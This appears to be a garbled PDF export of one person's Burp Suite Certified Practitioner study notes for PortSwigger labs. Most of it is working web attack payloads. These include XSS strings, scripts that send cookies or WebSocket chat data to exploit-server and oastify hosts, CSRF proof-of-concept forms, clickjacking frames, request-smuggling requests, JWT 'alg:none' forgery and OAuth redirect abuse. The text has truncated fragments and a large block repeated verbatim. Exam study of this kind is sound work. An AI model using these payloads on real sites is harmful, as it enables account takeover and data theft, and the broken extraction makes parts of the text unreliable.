BSCP Tracker
BSCP Tracker
BSCP Tracker
3 A3h1nt 11/04/24
2 A3h1nt 16/01/24
1 A3h1nt 19/11/23
TIPS
1. Make sure all your extensions are running before you start the exam
2. If
3. Run param
there's minerelse,
nothing > guess headers
literally nothing else to find, try Host header injection
admin panel : 192.168.0.x or localhost:TBF
4. Dont be in a hurry, read the error output completely.
5. In insecure deserialisation, use cyberchef, always use wget/curl to see if it h
and the right payload might give `java.io.StreamCorruptedException`
6. There is only one active user per application
7. If SSRF try localhost:6566 ( try first in host or referer header and then move
8.
9. You
"SSRF can: stockApi=http://127.1/%25%36%31dmin
use chatGPT to understand the code in case : Hereof we
DOM XSS.
have double en
to bypass validation. "
10. XSS try encoding into HTML, hex or HTMLHex to bypass FW
Important Links
1. Keep it handy 1 https://github.com/botesjuan/Burp-Suite-Certified-Practition
2.Keep it handy 2 https://github.com/DingyShark/BurpSuiteCertifiedPractition
3. CyberChef https://gchq.github.io/CyberChef/#recipe=URL_Encode(true)&in
4. Ruby Compiler For Deserialisation Attack https://onecompiler.com/ruby/428
5. Hex To Decimal & Vice Versa : HTTP Request Smuggling https://coolconve
6. XSS Cheatsheet https://portswigger.net/web-security/cross-site-scripting/ch
7. SQL Injection Cheatsheet https://portswigger.net/web-security/sql-injection/
8. Payload All The Thingshttps://github.com/swisskyrepo/PayloadsAllTheThin
9. Hacktricks XYZhttps://book.hacktricks.xyz/pentesting-web/ssti-server-side-t
notes, make a copy, make it your own.
S
you start the exam
d, try Host header injection SSRF to access
to bypass FW
t Links
p-Suite-Certified-Practitioner-Exam-Study?tab=readme-ov-file#reflected-string-xss
urpSuiteCertifiedPractitioner#insecure-deserialization
pe=URL_Encode(true)&input=KCk
onecompiler.com/ruby/428epcnus
muggling https://coolconversion.com/math/binary-octal-hexa-decimal/How-to-Convert_hex__5C_in_decimal_%3F
urity/cross-site-scripting/cheat-sheet
web-security/sql-injection/cheat-sheet
yrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
ting-web/ssti-server-side-template-injection
Vulnerability Test Case
Authentication Username Enumeration Different Status Codes
Login Page
Forgot Password Page
Change Password Page Username Enumeration Different Error
2FA Page / Security Code Messages
Email for password reset ?
X-Forwarded-Host
Offline Cracking
Forgot Password
Password Bruteforce
Unvalidated `redirect_uri`
Open Redirect with OAuth 2.0
Custom Tags
HTML Encoded
DOM XSS in document.write sink using source
location.search inside a select element
Stealing Cookies
Capturing Passwords
Performing CSRF
- Change Email
- tracking.js
- You see `vary` set to User-
Agent in response header
- Use `Pragma: x-get-cache-
key` in request header to
view the cache key Web Cache Poisioning Using Unkeyed Cookie
- Param Miner > rails param
cloacking scan
Parameter Cloacking
- JWT in use
TE CL
Obfuscating TE Header
Reflected XSS
Payload
X-Forwarded-For
Important : https://portswigger.net/web-security/authentication/password-based/lab-broken-bruteforce-protection-ip-block
base64(username+':'+md5HashOfPassword)
<script>document.location='//YOUR-EXPLOIT-SERVER-
ID.exploit-server.net/'+document.cookie</script>
X-Forwarded-Host: your-exploit-server.com
<xss+id=x+onfocus=alert(document.cookie) tabindex=1>#x';
<svg><a><animate+attributeName=href+values=javascript:alert(1
) /><text+x=20+y=20>Click me</text></a>
<§>
<svg><animatetransform%20§§=1>
<svg><animatetransform onbegin=alert(1)>
"onmouseover="alert(1)
javascript:alert(1)
</script><script>alert(1)</script>
';alert(document.domain)//
gets converted to:
\';alert(document.domain)//
You can now use the alternative payload:
\';alert(document.domain)//
which gets converted to:
\\';alert(document.domain)//
-alert(document.domain)-'
';alert(document.domain)//
'-alert(1)-'
\'-alert(1)//
# Stealing Cookies
';document.location='https://
swshucmo2c95ltmsgk1p9quhd8jz7vvk.oastify.com/
url='+document.domain;//
Payload :#" onload="this.src+='<img src=x onerror=print()>'"#<img src=x onerror=alert()In exploit server : <iframe src="https://Y
# Payload
window.postMessage('javascript:print()//http:','*');
# Deliver To Victim
<iframe src="https://0a8b003c03908a72811893c400e200e7.web-
security-academy.net/"
onload="this.contentWindow.postMessage('javascript:print()//http:
','*')">
'-alert(document.domain)-'http://foo?'-alert(1)-'
https://0a5b00e904b44a74807321b100d800cf.web-security-academy.net/product?productId=1&storeId=randstringhttps://0a5b
{{$on.constructor('alert(1)')()}}
http://foo?'-alert(1)-'
${alert(1)}
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a3d00630488573781441baf0055009b.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="attack@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a5e00120350d98a850a3c850078009f.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="a@b.com" />
<input type="hidden" name="csrf"
value="2PtaaMyN31ry7Uk1B43tTdYZKRv34PUM" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a1700d5037fe3dc8065df1a00bf00e5.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="adamn@famn.com" />
<input type="hidden" name="csrf"
value="pPuFWLf1ia0yGVm26GcPU4iCeAZll2gK" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a1700d5037fe3dc8065df1a00bf00e5.web-
security-academy.net/?search=test%0d%0aSet-Cookie:
%20csrfKey=ZKRp4uaowcXjO0XOaDV5xf4nRuYnr2jo%3b
%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a1600b604b160ba81e00734003f00f6.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="works@ppporks.com" />
<input type="hidden" name="csrf"
value="FMflDMvWJzqvmBcGnUX2vzkTh0ALPjO9" />
<input type="submit" value="Submit request" />
</form>
<img src="https://YOUR-LAB-ID.web-security-academy.net/?
search=test%0d%0aSet-Cookie:%20csrf=fake%3b
%20SameSite=None" onerror="document.forms[0].submit();"/>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a28005b03c06c1681f5617d00840021.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="random@random.text" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "/","/?
0a28005b03c06c1681f5617d00840021.web-security-
academy.net");
document.forms[0].submit();
</script>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<meta name="referrer" content="no-referrer">
<form
action="https://0aa9006c033f482b80ee991300b80055.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="done@w.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<script>
document.location = "https://YOUR-LAB-ID.web-security-
academy.net/my-account/change-email?email=pwned@web-
security-academy.net&_method=POST";
</script>
# Another Method
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a5f00600398a7858150e36400310061.web-
security-academy.net/my-account/change-email">
<input type="hidden" name="email"
value="pwned@gmail.com" />
<input type="hidden" name="_method" value="POST" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<script>
document.location="https://
0a98007803a1e8e98133614e004900a8.web-security-
academy.net/post/comment/confirmation?postId=../my-account/
change-email?email=anything%40anything.com%26submit=1"
</script>
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/account
Details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
req.open('get','YOUR-LAB-ID.web-security-academy.net/account
Details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?
key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<script>
document.location="http://stock.YOUR-LAB-ID.web-security-
academy.net/?productId=4<script>var req = new
XMLHttpRequest(); req.onload = reqListener;
req.open('get','https://YOUR-LAB-ID.web-security-academy.net/a
ccountDetails',true); req.withCredentials =
true;req.send();function reqListener() {location='https://YOUR-
EXPLOIT-SERVER-ID.exploit-server.net/log?
key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
<style>
iframe {
position:relative;
width:$width_value; # 700px
height: $height_value; # 700px
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value; #450px
left:$side_value; #100px
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-
account"></iframe>
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-
account?email=hacker@attacker-website.com"></iframe>
<style> iframe { position:relative; width:$width_value; height: $height_value; opacity:
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:$top_value1;
left:$side_value1;
z-index: 1;
}
.secondClick {
top:$top_value2;
left:$side_value2;
}
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-
account"></iframe>
X-Forwarded-For: 127.0.0.1
# Injected Parameter
fehost=string"-alert(1)-"string;
# Injected Headers
X-Forwarded-Scheme: nohttps
X-Forwarded-Host: exploit-
0a53008d04d5803583c7ecf60118001b.exploit-server.net
https://0ad0001603ea443481672ac600a300b1.web-security-
academy.net/?search='/><script>alert('xss')</script>
GET
/?utm_content='/><script>document.location="https://Collaborator
.com?c="+document.cookie</script>
/js/geolocate.js?
callback=setCountryCookie&utm_content=anything;callback=alert
(1)
Host: 127.0.0.1
Host: localhost
Host: 192.168.0.§0§
GET https://0a29004d03b7096383fa281100820043.web-
security-academy.net/ HTTP/2
Host: ajxsl03bt1t61ckeberqq718pzvqjh76.oastify.com
POST https://0a29004d03b7096383fa281100820043.web-
security-academy.net/admin/delete HTTP/2
Host: 192.168.0.96
csrf=eiJBDA6YwgraLusFdACA9IN7g47M8DPW&username=carlo
s
Connection: keep-alive
wiener@exploit-server.net
carlos@montaya.com
X-Host::
X-Forwarded-For:
X-HTTP-Host-Override:
Forwarded:
Host: 0a46001a04a1e3d18009a3c900f400f0.web-security-
academy.net:1234'><a href="//exploit-
0aea00e7041ce3be80a6a22d01cf009c.exploit-server.net/?
{
"sub":"wiener"
}
to
{
"sub":"administrator"
}
# Header
{
"alg":"HS256"
}
# Payload
{
"sub":"wiener"
}
to
# Header
{
"alg":"none"
}
# Payload
{
"sub":"administrator"
}
POST / HTTP/1.1
Host: 0a8c004d040823fb84151373004d002d.web-security-
academy.net
Cookie: session=q4cyGyOhxOTS7K89pX8ig966gXjOhoUc
Content-Length: 35
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
POST / HTTP/1.1
Host: 0a6a00a604e332b180f2fd4d0008009d.web-security-
academy.net
Cookie: session=tDbITpbuyl0HLxbmOMJTZ08O9ypmGa4R
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
x=
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked
60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
POST / HTTP/1.1
Cookie: session=iHXKs5g5Ylxpw2iN5ebaWbSBsHBWs0pO
Content-Length: 4 : increase the content length to see more of
the next request
Content-Type: application/x-www-form-urlencoded
search=test
----------------------------------------------------------------------------------------
---
POST / HTTP/1.1
Host: 0a6f007e03f7433180ebc6ed00f10022.web-security-
academy.net
Cookie: session=uscSQFDcTJxv4WpBGYU0n05f0boHcUqx
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/122.0.6261.112 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
POST / HTTP/1.1
Host: 0a8f006704404c748172c08f002300c8.web-security-
academy.net
Cookie: session=ecGlrpPRPzGF2rXIbPmNr5JQEKJnNDlX
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 338
Transfer-Encoding: chunked
csrf=SBD1GC6lAH9SERvVB0tx3vpfSn4CJqWS&postId=6&name
=test&email=a%40b.com&website=https%3A%2F
%2Fwww.test.com&comment=a
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
x=1
Notes
<iframe src="https://lab-id/oauth-linking?
code=<code>"></iframe>
1. Check if any request parameter is used for access control, could be something in cookie or even another parameter in the re
# Example :
Normal Flow : home -> page1 -> page2 -> page3
Vuln Flow : home -> page1 -> page3
# Example
Req 1 : GET /admin/update?
user=carlos&action=upgrade
Req 2 : GET /admin/update?
user=carlos&confirmed=yes&action=upgrade
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>
No token, no problem
Take your CSRF token, put it in
/?search=test
Set-Cookie: csrfKey=YOUR-KEY;
SameSite=None
/?search=test%0d%0aSet-Cookie:%20csrf=fake
%3b%20SameSite=None
X-Forwarded-Proto
1. `vary` header is used to make unkeyed
elements a keyed element.
2. Use XSS to find the User-Agent of the victim
3. Use that User-Agent from logs in your request
& get it cached
GET /oauth-linking?
code=gF3JqG69oIp7MLD622S5uDnWqFlHa1ydShJsiqgh2Iy
HTTP/2
Host: 0a7000bf04563a1c82d5881000ae007c.web-security-
academy.net
Cookie: session=udMr3rO72dqtLQVdTbU4bVdyFmcA0T7M
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/122.0.6261.112 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/
avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site Host: oauth-0aaa006a033534708255dbfe0230008b.oauth-server
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://oauth-
0a6800b804d73a6e82f386d60291005d.oauth-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
EXPLOIT SERVER
<iframe src="https://oauth-
0a9900740305464781430fa5027a0066.oauth-server.net/
auth?
client_id=zgpyqu5w9sjvtf159a084&redirect_uri=https://
exploit-0ae000cf032d46538174106101b30048.exploit-
server.net/exploit&response_type=code&scope=openid
%20profile%20email"></iframe>
<script>
if (!document.location.hash) {
window.location = 'https://oauth-
0a2b00b303ea208880560bfa02d100ff.oauth-server.net/auth
?client_id=mtyttcqiktkjol7896w7l&redirect_uri=https://
0a5d002e0375205a80980d0b00a40069.web-security-
academy.net/oauth-callback/../post/next?path=https://
exploit-0a8a0073032020f780570cdb0192004d.exploit-
server.net/exploit/
&response_type=token&nonce=399721827&scope=openid
%20profile%20email'
} else {
window.location =
'/?'+document.location.hash.substr(1)
}
</script>
Sec-Ch-Ua-Mobile: ?0
Priority: u=0, i
<script>
websocket = new WebSocket('wss://0a5600690383c42684d69a5a0074004c.web-security-academy.net/chat')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://sb7h9c1ohco50t1svkgpoq9hs8yzmqce1.oastify.com/?'+event.data, {mode: 'no-cors'})
}
</script>
GET /js/geolocate.js?
callback=setCountryCookie&utm_content=anything;callback
=alert(1) HTTP/2
Host: 0a790093042a483781b6a7ae001a00ee.web-security-
academy.net
Cookie: country=[object Object];
session=bG2PChcY1s7FELRxWBu8ZYFzpF55ejp4
X-Host::
X-Forwarded-For:
X-HTTP-Host-Override:
Forwarded:
# CL.TE
0
# TE.CL
converter : https://coolconversion.com/math/binary-octal-hexa-dec
5e #length of the data including 0
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Admin interface only available if logged in as an
administrator, or if requested from 127.0.0.1
Vulnerability Test Case
Authentication Username Enumeration Different Status Codes
Login Page
Forgot Password Page
Change Password Page Username Enumeration Different Error
2FA Page / Security Code Messages
Email for password reset ?
X-Forwarded-Host
Offline Cracking
Forgot Password
Password Bruteforce
Unvalidated `redirect_uri`
Open Redirect with OAuth 2.0
Custom Tags
HTML Encoded
DOM XSS in document.write sink using source
location.search inside a select element
Stealing Cookies
Capturing Passwords
Performing CSRF
- Change Email
- tracking.js
- You see `vary` set to User-
Agent in response header
- Use `Pragma: x-get-cache-
key` in request header to
view the cache key Web Cache Poisioning Using Unkeyed Cookie
- Param Miner > rails param
cloacking scan
Parameter Cloacking
- JWT in use
TE CL
Obfuscating TE Header
Reflected XSS
Payload
X-Forwarded-For
Important : https://portswigger.net/web-security/authentication/password-based/lab-broken-bruteforce-protection-ip-block
base64(username+':'+md5HashOfPassword)
<script>document.location='//YOUR-EXPLOIT-SERVER-
ID.exploit-server.net/'+document.cookie</script>
X-Forwarded-Host: your-exploit-server.com
<xss+id=x+onfocus=alert(document.cookie) tabindex=1>#x';
<svg><a><animate+attributeName=href+values=javascript:alert(1
) /><text+x=20+y=20>Click me</text></a>
<§>
<svg><animatetransform%20§§=1>
<svg><animatetransform onbegin=alert(1)>
"onmouseover="alert(1)
javascript:alert(1)
</script><script>alert(1)</script>
';alert(document.domain)//
gets converted to:
\';alert(document.domain)//
You can now use the alternative payload:
\';alert(document.domain)//
which gets converted to:
\\';alert(document.domain)//
-alert(document.domain)-'
';alert(document.domain)//
'-alert(1)-'
\'-alert(1)//
# Stealing Cookies
';document.location='https://
swshucmo2c95ltmsgk1p9quhd8jz7vvk.oastify.com/
url='+document.domain;//
Payload :#" onload="this.src+='<img src=x onerror=print()>'"#<img src=x onerror=alert()In exploit server : <iframe src="https://Y
# Payload
window.postMessage('javascript:print()//http:','*');
# Deliver To Victim
<iframe src="https://0a8b003c03908a72811893c400e200e7.web-
security-academy.net/"
onload="this.contentWindow.postMessage('javascript:print()//http:
','*')">
'-alert(document.domain)-'http://foo?'-alert(1)-'
https://0a5b00e904b44a74807321b100d800cf.web-security-academy.net/product?productId=1&storeId=randstringhttps://0a5b
{{$on.constructor('alert(1)')()}}
http://foo?'-alert(1)-'
${alert(1)}
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a3d00630488573781441baf0055009b.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="attack@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a5e00120350d98a850a3c850078009f.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="a@b.com" />
<input type="hidden" name="csrf"
value="2PtaaMyN31ry7Uk1B43tTdYZKRv34PUM" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a1700d5037fe3dc8065df1a00bf00e5.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="adamn@famn.com" />
<input type="hidden" name="csrf"
value="pPuFWLf1ia0yGVm26GcPU4iCeAZll2gK" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a1700d5037fe3dc8065df1a00bf00e5.web-
security-academy.net/?search=test%0d%0aSet-Cookie:
%20csrfKey=ZKRp4uaowcXjO0XOaDV5xf4nRuYnr2jo%3b
%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a1600b604b160ba81e00734003f00f6.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="works@ppporks.com" />
<input type="hidden" name="csrf"
value="FMflDMvWJzqvmBcGnUX2vzkTh0ALPjO9" />
<input type="submit" value="Submit request" />
</form>
<img src="https://YOUR-LAB-ID.web-security-academy.net/?
search=test%0d%0aSet-Cookie:%20csrf=fake%3b
%20SameSite=None" onerror="document.forms[0].submit();"/>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a28005b03c06c1681f5617d00840021.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email"
value="random@random.text" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "/","/?
0a28005b03c06c1681f5617d00840021.web-security-
academy.net");
document.forms[0].submit();
</script>
</body>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<meta name="referrer" content="no-referrer">
<form
action="https://0aa9006c033f482b80ee991300b80055.web-
security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="done@w.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<script>
document.location = "https://YOUR-LAB-ID.web-security-
academy.net/my-account/change-email?email=pwned@web-
security-academy.net&_method=POST";
</script>
# Another Method
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://0a5f00600398a7858150e36400310061.web-
security-academy.net/my-account/change-email">
<input type="hidden" name="email"
value="pwned@gmail.com" />
<input type="hidden" name="_method" value="POST" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<script>
document.location="https://
0a98007803a1e8e98133614e004900a8.web-security-
academy.net/post/comment/confirmation?postId=../my-account/
change-email?email=anything%40anything.com%26submit=1"
</script>
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/account
Details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
req.open('get','YOUR-LAB-ID.web-security-academy.net/account
Details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?
key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<script>
document.location="http://stock.YOUR-LAB-ID.web-security-
academy.net/?productId=4<script>var req = new
XMLHttpRequest(); req.onload = reqListener;
req.open('get','https://YOUR-LAB-ID.web-security-academy.net/a
ccountDetails',true); req.withCredentials =
true;req.send();function reqListener() {location='https://YOUR-
EXPLOIT-SERVER-ID.exploit-server.net/log?
key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
<style>
iframe {
position:relative;
width:$width_value; # 700px
height: $height_value; # 700px
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value; #450px
left:$side_value; #100px
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-
account"></iframe>
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-
account?email=hacker@attacker-website.com"></iframe>
<style> iframe { position:relative; width:$width_value; height: $height_value; opacity:
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:$top_value1;
left:$side_value1;
z-index: 1;
}
.secondClick {
top:$top_value2;
left:$side_value2;
}
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-
account"></iframe>
X-Forwarded-For: 127.0.0.1
# Injected Parameter
fehost=string"-alert(1)-"string;
# Injected Headers
X-Forwarded-Scheme: nohttps
X-Forwarded-Host: exploit-
0a53008d04d5803583c7ecf60118001b.exploit-server.net
https://0ad0001603ea443481672ac600a300b1.web-security-
academy.net/?search='/><script>alert('xss')</script>
GET
/?utm_content='/><script>document.location="https://Collaborator
.com?c="+document.cookie</script>
/js/geolocate.js?
callback=setCountryCookie&utm_content=anything;callback=alert
(1)
Host: 127.0.0.1
Host: localhost
Host: 192.168.0.§0§
GET https://0a29004d03b7096383fa281100820043.web-
security-academy.net/ HTTP/2
Host: ajxsl03bt1t61ckeberqq718pzvqjh76.oastify.com
POST https://0a29004d03b7096383fa281100820043.web-
security-academy.net/admin/delete HTTP/2
Host: 192.168.0.96
csrf=eiJBDA6YwgraLusFdACA9IN7g47M8DPW&username=carlo
s
Connection: keep-alive
wiener@exploit-server.net
carlos@montaya.com
X-Host::
X-Forwarded-For:
X-HTTP-Host-Override:
Forwarded:
Host: 0a46001a04a1e3d18009a3c900f400f0.web-security-
academy.net:1234'><a href="//exploit-
0aea00e7041ce3be80a6a22d01cf009c.exploit-server.net/?
{
"sub":"wiener"
}
to
{
"sub":"administrator"
}
# Header
{
"alg":"HS256"
}
# Payload
{
"sub":"wiener"
}
to
# Header
{
"alg":"none"
}
# Payload
{
"sub":"administrator"
}
POST / HTTP/1.1
Host: 0a8c004d040823fb84151373004d002d.web-security-
academy.net
Cookie: session=q4cyGyOhxOTS7K89pX8ig966gXjOhoUc
Content-Length: 35
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
POST / HTTP/1.1
Host: 0a6a00a604e332b180f2fd4d0008009d.web-security-
academy.net
Cookie: session=tDbITpbuyl0HLxbmOMJTZ08O9ypmGa4R
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
x=
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked
60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
POST / HTTP/1.1
Cookie: session=iHXKs5g5Ylxpw2iN5ebaWbSBsHBWs0pO
Content-Length: 4 : increase the content length to see more of
the next request
Content-Type: application/x-www-form-urlencoded
search=test
----------------------------------------------------------------------------------------
---
POST / HTTP/1.1
Host: 0a6f007e03f7433180ebc6ed00f10022.web-security-
academy.net
Cookie: session=uscSQFDcTJxv4WpBGYU0n05f0boHcUqx
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/122.0.6261.112 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
POST / HTTP/1.1
Host: 0a8f006704404c748172c08f002300c8.web-security-
academy.net
Cookie: session=ecGlrpPRPzGF2rXIbPmNr5JQEKJnNDlX
Cache-Control: max-age=0
